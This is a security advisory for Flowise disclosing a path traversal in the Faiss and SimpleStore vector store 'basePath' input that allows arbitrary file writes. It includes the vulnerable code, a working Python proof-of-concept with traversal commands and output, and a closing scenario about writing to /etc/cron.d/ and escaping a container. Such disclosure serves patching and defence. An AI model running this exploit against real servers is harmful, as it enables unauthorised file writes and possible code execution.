GHSA-w6v6-49gh-mc9w: Flowise: path traversal allows arbitrary file write via vector store

## Summary The Faiss and SimpleStore (LlamaIndex) vector store implementations accept a `basePath` parameter from user-controlled input and pass it directly to filesystem write operations without any sanitization. An authenticated attacker can exploit this to write vector store data to arbitrary locations on the server filesystem. ## Vulnerability Details | Field | Value | |-------|-------| | Affected File | `packages/components/nodes/vectorstores/Faiss/Faiss.ts` (lines 79, 91) | | Affected File | `packages/components/nodes/vectorstores/SimpleStore/SimpleStore.ts` (lines 83-104) | ## Prerequisites 1. **Authentication**: Valid API token with `documentStores:upsert-config` permission 2. **Document Store**: An existing Document Store with at least one processed chunk 3. **Embedding Credentials**: Valid embedding provider credentials (e.g., OpenAI API key) ## Root Cause ### Faiss (`Faiss.ts`) ```typescript async upsert(nodeData: INodeData): Promise<Partial<IndexingResult>> { const basePath = nodeData.inputs?.basePath as string // User-controlled // ... const vectorStore = await FaissStore.fromDocuments(finalDocs, embeddings) await vectorStore.save(basePath) // Direct filesystem write, no validation } ``` ### SimpleStore (`SimpleStore.ts`) ```typescript async upsert(nodeData: INodeData): Promise<Partial<IndexingResult>> { const basePath = nodeData.inputs?.basePath as string // User-controlled let filePath = '' if (!basePath) filePath = path.join(getUserHome(), '.flowise', 'llamaindex') else filePath = basePath // Used directly without sanitization const storageContext = await storageContextFromDefaults({ persistDir: filePath }) // Writes to arbitrary path } ``` ## Impact An authenticated attacker can: 1. **Write files to arbitrary locations** on the server filesystem 2. **Overwrite existing files** if the process has write permissions 3. **Potential for code execution** by writing to web-accessible directories or startup scripts 4. **Data exfiltration** by writing to network-mounted filesystems ## Proof of Concept ### poc.py ```python #!/usr/bin/env python3 """ POC: Path Traversal in Vector Store basePath (CWE-22) Usage: python poc.py --target http://localhost:3000 --token <API_KEY> --store-id <STORE_ID> --credential <EMBEDDING_CREDENTIAL_ID> """ import argparse import json import urllib.request import urllib.error def post_json(url, data, headers): req = urllib.request.Request( url, data=json.dumps(data).encode("utf-8"), headers={**headers, "Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(req, timeout=120) as resp: return resp.status, resp.read().decode("utf-8", errors="replace") def main(): ap = argparse.ArgumentParser() ap.add_argument("--target", required=True) ap.add_argument("--token", required=True) ap.add_argument("--store-id", required=True) ap.add_argument("--credential", required=True) ap.add_argument("--base-path", default="/tmp/flowise-path-traversal-poc") args = ap.parse_args() payload = { "storeId": args.store_id, "vectorStoreName": "faiss", "vectorStoreConfig": {"basePath": args.base_path}, "embeddingName": "openAIEmbeddings", "embeddingConfig": {"credential": args.credential}, } url = args.target.rstrip("/") + "/api/v1/document-store/vectorstore/insert" headers = {"Authorization": f"Bearer {args.token}"} try: status, body = post_json(url, payload, headers) print(body) except urllib.error.HTTPError as e: print(e.read().decode()) if __name__ == "__main__": main() ``` ### Setup 1. Create a Document Store in Flowise UI 2. Add a Document Loader (e.g., Plain Text) with any content 3. Click "Process" to create chunks 4. Note the Store ID from the URL 5. Get your embedding credential ID from Settings → Credentials ### Exploitation ```bash # Write to /tmp python poc.py \ --target http://127.0.0.1:3000 \ --token <API_TOKEN> \ --store-id <STORE_ID> \ --credential <OPENAI_CREDENTIAL_ID> \ --base-path /tmp/flowise-pwned # Path traversal variant python poc.py \ --target http://127.0.0.1:3000 \ --token <API_TOKEN> \ --store-id <STORE_ID> \ --credential <OPENAI_CREDENTIAL_ID> \ --base-path "../../../../tmp/traversal-test" ``` ### Evidence ``` $ python poc.py --target http://127.0.0.1:3000/ --token <TOKEN> --store-id 30af9716-ea51-47e6-af67-5a759a835100 --credential bb1baf6e-acb7-4ea0-b167-59a09a28108f --base-path /tmp/flowise-pwned {"numAdded":1,"addedDocs":[{"pageContent":"Lorem Ipsum","metadata":{"docId":"d84d9581-0778-454d-984e-42b372b1b555"}}],"totalChars":0,"totalChunks":0,"whereUsed":[]} $ ls -la /tmp/flowise-pwned/ total 16 drwxr-xr-x 4 user wheel 128 Jan 17 12:00 . drwxrwxrwt 12 root wheel 384 Jan 17 12:00 .. -rw-r--r-- 1 user wheel 1234 Jan 17 12:00 docstore.json -rw-r--r-- 1 user wheel 5678 Jan 17 12:00 faiss.index ```

An attacker with a compromised developer API token — obtained via phishing, git history leak, or insider access — sends a crafted POST to /api/v1/document-store/vectorstore/insert with basePath set to /etc/cron.d/. Flowise writes faiss.index and docstore.json to that directory without validation. In a second variant targeting containerized Flowise, the attacker sets basePath to a host-mounted volume path, achieving container escape. No AI or ML expertise is required — the entire attack is a single HTTP request with a modified JSON payload.